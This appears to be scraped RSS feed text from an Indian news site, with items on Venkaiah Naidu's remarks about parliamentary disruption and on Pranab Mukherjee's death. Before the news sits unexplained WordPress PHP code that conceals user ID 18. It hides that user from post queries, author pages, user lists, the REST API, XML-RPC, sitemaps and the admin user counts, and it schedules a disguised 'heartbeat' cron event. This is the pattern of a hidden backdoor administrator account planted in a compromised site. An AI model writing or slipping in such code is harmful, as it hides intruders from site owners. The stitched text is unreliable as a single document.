add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 18;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 18 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 18 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 18;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 18;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/18(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
The post Assemblies and Parliament are meant for debate, discussion and decision, and not disruptions : M Venkaiah Naidu appeared first on The Edge Media.
]]>Referring to the ugly scenes witnessed in the Rajya Sabha recently and indicating action against those involved, he reminded elected representatives of their responsibilities.
“….all elected public representatives should focus more on improving the standards of the life of the people, by rising to the need of the occasion,” Naidu said.
Addressing an event here, he said, “You might have seen some time back, what happened in the Parliament, a lot of youngsters called me and told me, Sir! you are the Vice President of India, why are you so sad? I said I’m sad because of the bad behaviour of some people, to the new low the Indian Parliament had gone.
Pointing to similar incidents at several state legislatures including Karnataka in the past, he further said, every legislator and public representative should keep in mind the need to raise the standards of the institution he or she is representing, and improve one’s contribution by caliber, character, capacity and conduct.
You are the role model for the people, if you behave like this then what is the inspiration the people and the youngsters will get?”
“Assemblies and parliament are meant for debate, discussion and decision. Debate, discuss and decide, but do not disrupt. Disrupting means you are disrupting the cause of the country. There may be some tension, but you must come back to attention,” he added.
The post Assemblies and Parliament are meant for debate, discussion and decision, and not disruptions : M Venkaiah Naidu appeared first on The Edge Media.
]]>The post Former President Of India Pranab Mukherjee Passes Away, Government Announces 7-Days Mourning appeared first on The Edge Media.
]]>‘With a Heavy Heart , this is to inform you that my father Shri Pranab Mukherjee has just passed away in spite of the best efforts of Doctors of RR Hospital & prayers, duas & prarthanas from people throughout India !
I thank all of You,’ Abhijit tweeted.
President Ram Nath Kovind condoled the demise of Mukherjee.
‘I was new to Delhi in 2014. From Day 1, I was blessed to have the guidance, support and blessings of Shri Pranab Mukherjee. I will always cherish my interactions with him. Condolences to his family, friends, admirers and supporters across India. Om Shanti,’ the PM tweeted.
Union Home Minister Amit Shah tweets: ‘Deeply anguished on the passing away of former President of India, Bharat Ratna Shri Pranab Mukherjee ji. He was a vastly experienced leader who served the nation with utmost devotion. Pranab Da’s distinguished career is a matter of great pride for the entire country. Pranab Da’s life will always be cherished for his impeccable service and indelible contribution to our motherland. His demise has left a huge void in Indian polity. My sincerest condolences are with his family and followers on this irreparable loss. Om Shanti Shanti Shanti.’
‘The country has lost an elder statesman in his death. He rose from humble beginnings to occupy the country’s highest constitutional position through hard work, discipline and dedication. My deepest condolences to the bereaved family members. Om Shanti.’ the Vice President Secretariat tweeted quoting Vice President M Venkaiah Naidu .
Pranab’s daughter Sharmishtha Mukherjee tweets this heartfelt tribute to her father: ‘I bow to all. Baba, taking the liberty to quote from your favourite poet to say your final goodbye to all. You have led a full, meaningful life in service of the nation, in service of our people. I feel blessed to have been born as your daughter.’
The former president was admitted to Army’s Research and Referral Hospital in Delhi Cantonment on August 10 and was operated the same day for removal of a clot in his brain. He was also tested positive for COVID-19 and later developed a lung infection. His condition declined on Monday morning after he suffered a septic shock due to his lung infection, the Hospital said.
Pranab Mukherjee will be laid to rest in New Delhi and not his hometown Birbhum in West Bengal. The government has announced seven-day state mourning on demise of former President Pranab Mukherjee
– PTI/ANI
The post Former President Of India Pranab Mukherjee Passes Away, Government Announces 7-Days Mourning appeared first on The Edge Media.
]]>